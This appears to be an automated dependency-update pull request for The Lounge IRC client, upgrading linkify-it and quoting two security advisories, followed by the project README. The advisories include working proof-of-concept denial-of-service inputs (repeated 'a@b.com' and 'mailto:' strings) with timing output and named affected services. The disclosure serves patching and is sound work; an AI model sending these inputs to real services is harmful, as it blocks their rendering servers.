This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [linkify-it](https://redirect.github.com/markdown-it/linkify-it) |
[`3.0.3` →
`5.0.2`](https://renovatebot.com/diffs/npm/linkify-it/3.0.3/5.0.2) |

|

|
---
### LinkifyIt#match scan loop has quadratic algorithmic complexity
[CVE-2026-48801](https://nvd.nist.gov/vuln/detail/CVE-2026-48801) /
[GHSA-22p9-wv53-3rq4](https://redirect.github.com/advisories/GHSA-22p9-wv53-3rq4)
<details>
<summary>More information</summary>
#### Details
##### Summary
`LinkifyIt.prototype.match` — the package's primary public API — has
**O(N²) algorithmic complexity** for inputs containing many fuzzy links
or emails. This is not a regex backtrack bug; it's a structural issue in
the JS-level scan loop that re-slices the input and re-runs unanchored
regex searches on progressively shorter tails, N times.
64 KB of `"a@b.com\n"` repeated burns ~2.5 s of single-threaded CPU; 128
KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).
The same cost passes through `markdown-it` (`linkify:true`) unmodified.
Any service that synchronously renders untrusted Markdown with linkify
enabled on a request hot-path (forums, comments, chat, wikis, AI chat
UIs) inherits a worker-process DoS triggerable by a tens-of-KB request
body.
##### Affected component
- HEAD audited: `8e887d5bace3f5b09b1d1f70492fa0364ef1793d` (v5.0.0)
- Vulnerable function: `LinkifyIt.prototype.match` — `index.mjs:528-554`
- Re-scan call sites inside `test()`: `index.mjs:444` (fuzzy host
search), `:448` (fuzzy link match), `:467` (fuzzy email match)
- Transitive consumer: `markdown-it` (~21.6M weekly npm DLs) calls
`linkify.match()` at `lib/rules_core/linkify.mjs:57` when `linkify:true`
- **All versions affected** — the vulnerable loop exists since the
initial commit (2014) through v5.0.0
##### Vulnerability details
##### The O(N²) outer loop
`index.mjs:528-554`:
```js
LinkifyIt.prototype.match = function match (text) {
const result = []
let shift = 0
let tail = shift ? text.slice(shift) : text
while (this.test(tail)) {
result.push(createMatch(this, shift))
tail = tail.slice(this.__last_index__) // <-- re-allocates remaining tail each iteration
shift += this.__last_index__
}
if (result.length) return result
return null
}
```
The loop iterates O(N) times (once per match). Each iteration:
1. `tail.slice()` re-allocates a string of length `|text| - shift` —
O(N) per iteration
2. `this.test(tail)` runs three unanchored regex searches over the full
new `tail`:
```js
// index.mjs:444 — full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 — full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 — full-tail match
me = text.match(this.re.email_fuzzy)
```
Total cost: `Σ(N - i*c) for i=0..N = O(N²)`.
##### Contrast with the linear schema branch
The schema-prefixed scan in the same `test()` function does it correctly
at `index.mjs:428-440`:
```js
re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }
```
That branch uses a `g`-flag RegExp and advances `lastIndex` — linear.
The fuzzy branches don't follow this pattern.
##### Proof of concept
```bash
mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install linkify-it@5.0.0
cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const evil = 'a@b.com\n'.repeat(n)
const t0 = process.hrtime.bigint()
l.match(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs
```
##### Measured output (Node v25.5.0, Apple Silicon)
```
n=1000 bytes=8000 took 44 ms
n=2000 bytes=16000 took 159 ms
n=4000 bytes=32000 took 628 ms
n=8000 bytes=64000 took 2506 ms
n=16000 bytes=128000 took 9948 ms
```
Doubling N → ~4× wall-clock, consistent with O(N²).
##### markdown-it transitive (independently confirmed)
```bash
npm install markdown-it@14.1.1
node -e "
const md = require('markdown-it')({ linkify: true })
for (const n of [1000, 2000, 4000, 8000]) {
const evil = 'a@b.com '.repeat(n)
const t0 = process.hrtime.bigint()
md.render(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
}
"
```
```
n=1000 bytes=8000 md.render=45ms
n=2000 bytes=16000 md.render=171ms
n=4000 bytes=32000 md.render=672ms
n=8000 bytes=64000 md.render=2636ms
```
Same quadratic curve. 64 KB is enough to burn 2.6 s in
`markdown-it.render()`.
##### Impact
- **Availability (High)**: A single HTTP request containing tens of KB
of repeated email-like strings blocks one worker thread for seconds to
tens of seconds. Under moderate concurrency (10-50 requests), the entire
rendering tier of an affected service is wedged.
- No confidentiality or integrity impact.
**Real-world scenario**: Any service that renders untrusted Markdown
with `linkify:true` on the request path — Discourse, Mattermost, GitLab
CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using
markdown-it — receives a post/comment containing 64 KB of `"a@b.com "`.
The render call blocks the worker for 2.5+ seconds. Scripted at scale,
this wedges the rendering tier.
##### Suggested remediation
The fix is algorithmic — convert the outer scan loop to stateful regex
iteration so each character is examined a constant number of times:
1. Add the `g` flag to `email_fuzzy`, `link_fuzzy`, `link_no_ip_fuzzy`,
`host_fuzzy_test` in `lib/re.mjs`
2. Rewrite `test()` (or add `testAt(text, pos)`) so fuzzy branches set
`re.lastIndex = pos` and call `re.exec(text)` instead of
`text.match()`/`text.search()` on a sliced tail
3. In `match()`, drop `tail = tail.slice(...)` entirely — advance a
`pos` offset instead
The schema branch at `index.mjs:428-440` is already structured this way
— it's the in-repo precedent for the fix.
```js
// proposed sketch
LinkifyIt.prototype.match = function match (text) {
const result = []
let pos = 0
while (this.testAt(text, pos)) {
result.push(createMatch(this, 0))
pos = this.__last_index__
}
return result.length ? result : null
}
```
Total cost becomes O(N): each character scanned at most once per regex
across the whole loop.
##### Duplicate-risk analysis
- Zero GHSAs on `linkify-it` (`gh api
/repos/markdown-it/linkify-it/security-advisories` → `[]`)
- Zero OSV entries (`api.osv.dev/v1/query` → `{}`)
- markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline
rule") targets markdown-it's own newline regex, not the linkify pipeline
This finding appears novel.
##### Note to maintainers
Since `markdown-it` is the dominant consumer and shares maintainership
(Vitaly Puzrin), a patched `linkify-it` release should be paired with a
`markdown-it` minor that pins the new minimum version.
#### Severity
- CVSS Score: 8.7 / 10 (High)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
#### References
-
[https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4](https://redirect.github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4)
-
[https://github.com/advisories/GHSA-22p9-wv53-3rq4](https://redirect.github.com/advisories/GHSA-22p9-wv53-3rq4)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-22p9-wv53-3rq4)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### linkify-it: Quadratic-complexity DoS via the `mailto:` validator
scan-loop on attacker text
[CVE-2026-59887](https://nvd.nist.gov/vuln/detail/CVE-2026-59887) /
[GHSA-v245-v573-v5vm](https://redirect.github.com/advisories/GHSA-v245-v573-v5vm)
<details>
<summary>More information</summary>
#### Details
##### Summary
`linkify-it`'s schema-scan loop (`.test()` / `.match()`, the documented
public API) invokes the `mailto:`
schema validator at **every** `mailto:` occurrence in the input text.
For each occurrence the validator does
`text.slice(pos)` (an O(n) copy) and runs an email regex whose
local-part class `src_email_name` greedily
scans the **entire remaining tail** (O(n)) before failing. With N
`mailto:` occurrences that is
**N × O(n) = O(n²)**. Because linkify-it runs on arbitrary user text
(markdown-it feeds it whole documents
when `linkify:true`), an unauthenticated attacker can block the
single-threaded event loop for many seconds
with a small input. No length bound (unlike an HTTP header).
##### Root cause — `index.mjs` + `lib/re.mjs`
```js
// index.mjs (mailto validator) — runs at every "mailto:" hit
'mailto:': { validate: function (text, pos, self) {
const tail = text.slice(pos) // O(n) copy per hit
if (!self.re.mailto) self.re.mailto = new RegExp('^' + self.re.src_email_name + '@​' + self.re.src_host_strict, 'i')
if (self.re.mailto.test(tail)) { ... } // scans the whole O(n) tail
return 0
}}
// lib/re.mjs:91-93 — every char of "mailto:" (incl. ':','-',';') is in this class:
re.src_email_name = '[\\-;:&=\\+\\$,\\.a-zA-Z0-9_][\\-;:&=\\+\\$,\\"\\.a-zA-Z0-9_]*'
```
The `while ((m = re.exec(text)) !== null) { …testSchemaAt… }` scan loop
calls the validator at each
`mailto:` hit; `src_email_name` greedily consumes the whole tail (all
chars are in its class) then fails for
lack of `@`. `http:`/`https:` do NOT blow up — their validator requires
the tail to start with `//`, failing
in O(1) per hit.
##### Proof of Concept (confirmed, linkify-it 5.0.1, Node v24)
```js
const LinkifyIt = require('linkify-it');
const lf = new LinkifyIt();
lf.match('mailto:'.repeat(48000)); // ~336 KB of "mailto:mailto:…" -> seconds of blocked event loop
```
| input (same bytes) | 56 KB | 112 KB | 224 KB | 336 KB |
|---|---:|---:|---:|---:|
| **`mailto:` contiguous** | 97 ms | 357 ms | 1438 ms | 3272 ms |
| `mailto:` space-separated | 2 ms | 3 ms | 5 ms | 8 ms |
| `http://` contiguous | 12 ms | 17 ms | 33 ms | 49 ms |
×~4 per 2× input ⇒ O(n²); equal-byte controls stay flat ⇒ algorithmic,
not a GC/allocation artifact.
Real-world via markdown-it 14.x (`{linkify:true}`),
`md.render('mailto:'.repeat(n))`: 219 KB ≈ ~5 s.
<img width="737" height="161" alt="image"
src="https://github.com/user-attachments/assets/b5d390f3-68d0-4861-9c47-ad8aff0203d5"
/>
##### Impact
Reachable on arbitrary user text via the documented `.test()`/`.match()`
API and through markdown-it's
linkifier — comment systems, chat, forums, wikis, note apps that render
user markdown with linkify enabled.
A ~220 KB post hangs the event loop ~5 s; a few hundred KB → tens of
seconds. Availability only.
##### Suggested remediation
Bound the email local-part per RFC 5321 (≤64) so per-hit work is O(1),
and avoid the full-tail slice:
```js
// lib/re.mjs — cap the greedy run:
re.src_email_name = '[\\-;:&=\\+\\$,\\.a-zA-Z0-9_][\\-;:&=\\+\\$,\\"\\.a-zA-Z0-9_]{0,63}'
// index.mjs — prefer a sticky regex anchored at `pos` over text.slice(pos).
```
##### Affected / disclosure
All versions through 5.0.1 (latest); same code on `master`. cve-mcp/OSV
report no known vulnerability for
linkify-it. Distinct from markdown-it's own `*`-run ReDoS
(CVE-2026-2327, different package/path) and the
recent markdown-it DoS. Reported privately; happy to test a patch
against the PoC.
#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
#### References
-
[https://github.com/markdown-it/linkify-it/security/advisories/GHSA-v245-v573-v5vm](https://redirect.github.com/markdown-it/linkify-it/security/advisories/GHSA-v245-v573-v5vm)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59887](https://nvd.nist.gov/vuln/detail/CVE-2026-59887)
-
[105e5d77f7)
-
[https://github.com/markdown-it/linkify-it/releases/tag/5.0.2](https://redirect.github.com/markdown-it/linkify-it/releases/tag/5.0.2)
-
[https://github.com/advisories/GHSA-v245-v573-v5vm](https://redirect.github.com/advisories/GHSA-v245-v573-v5vm)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-v245-v573-v5vm)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Release Notes
<details>
<summary>markdown-it/linkify-it (linkify-it)</summary>
###
[`v5.0.2`](https://redirect.github.com/markdown-it/linkify-it/blob/HEAD/CHANGELOG.md#502--2026-07-02)
[Compare
Source](https://redirect.github.com/markdown-it/linkify-it/compare/5.0.1...5.0.2)
- Fixed DoS in `mailto:` links (restrict user name to 64 chars).
- Restricted user/pass part length in links.
###
[`v5.0.1`](https://redirect.github.com/markdown-it/linkify-it/blob/HEAD/CHANGELOG.md#501--2026-05-23)
[Compare
Source](https://redirect.github.com/markdown-it/linkify-it/compare/5.0.0...5.0.1)
- Fixed DoS in fuzzy links/emails search.
- Reworked search logic - check each pattern separate, use `g` regexes
instead
of slice.
- Removed internal cache - useless overcomplication.
###
[`v5.0.0`](https://redirect.github.com/markdown-it/linkify-it/blob/HEAD/CHANGELOG.md#500--2023-12-01)
[Compare
Source](https://redirect.github.com/markdown-it/linkify-it/compare/4.0.1...5.0.0)
- Rewrite to ESM.
###
[`v4.0.1`](https://redirect.github.com/markdown-it/linkify-it/blob/HEAD/CHANGELOG.md#401--2022-05-02)
[Compare
Source](https://redirect.github.com/markdown-it/linkify-it/compare/4.0.0...4.0.1)
- Fix `http://` incorrectly returned as a link by matchStart.
###
[`v4.0.0`](https://redirect.github.com/markdown-it/linkify-it/blob/HEAD/CHANGELOG.md#400--2022-04-22)
[Compare
Source](https://redirect.github.com/markdown-it/linkify-it/compare/3.0.3...4.0.0)
- Add `matchAtStart` method to match full URLs at the start of the
string.
- Fixed paired symbols (`()`, `{}`, `""`, etc.) after punctuation.
- `---` option now affects parsing of emails (e.g.
`user@example.com---`)
</details>
---
### Configuration
📅 **Schedule**: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/thelounge/thelounge).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI3NS4yIiwidGFyZ2V0QnJhbmNoIjoibWFzdGVyIiwibGFiZWxzIjpbIlR5cGU6IFNlY3VyaXR5Il19-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Modern web IRC client designed for self-hosting
Website • Docs • Demo • Docker
Overview
- Modern features brought to IRC. Push notifications, link previews, new message markers, and more bring IRC to the 21st century.
- Always connected. Remains connected to IRC servers while you are offline.
- Cross platform. It doesn't matter what OS you use, it just works wherever Node.js runs.
- Responsive interface. The client works smoothly on every desktop, smartphone and tablet.
- Synchronized experience. Always resume where you left off no matter what device.
To learn more about configuration, usage and features of The Lounge, take a look at the website.
The Lounge is the official and community-managed fork of Shout, by Mattias Erming.
Installation and usage
The Lounge requires latest Node.js LTS version or more recent.
The Yarn package manager is also recommended.
If you want to install with npm, --unsafe-perm is required for a correct install.
Running stable releases
Please refer to the install and upgrade documentation on our website for all available installation methods.
Running from source
The following commands install and run the development version of The Lounge:
git clone https://github.com/thelounge/thelounge.git
cd thelounge
yarn install
NODE_ENV=production yarn build
yarn start
When installed like this, thelounge executable is not created. Use node index <command> to run commands.
⚠️ While it is the most recent codebase, this is not production-ready! Run at your own risk. It is also not recommended to run this as root.
Development setup
Simply follow the instructions to run The Lounge from source above, on your own fork.
Before submitting any change, make sure to:
- Read the Contributing instructions
- Run
yarn testto execute linters and the test suite- Run
yarn format:prettierif linting fails
- Run
- Run
yarn build:clientif you change or add anything inclient/jsorclient/components- The built files will be output to
public/by webpack
- The built files will be output to
- Run
yarn build:serverif you change anything inserver/- The built files will be output to
dist/by tsc
- The built files will be output to
yarn devcan be used to start The Lounge with hot module reloading
To ensure that you don't commit files that fail the linting, you can install a pre-commit git hook.
Execute yarn githooks-install to do so.
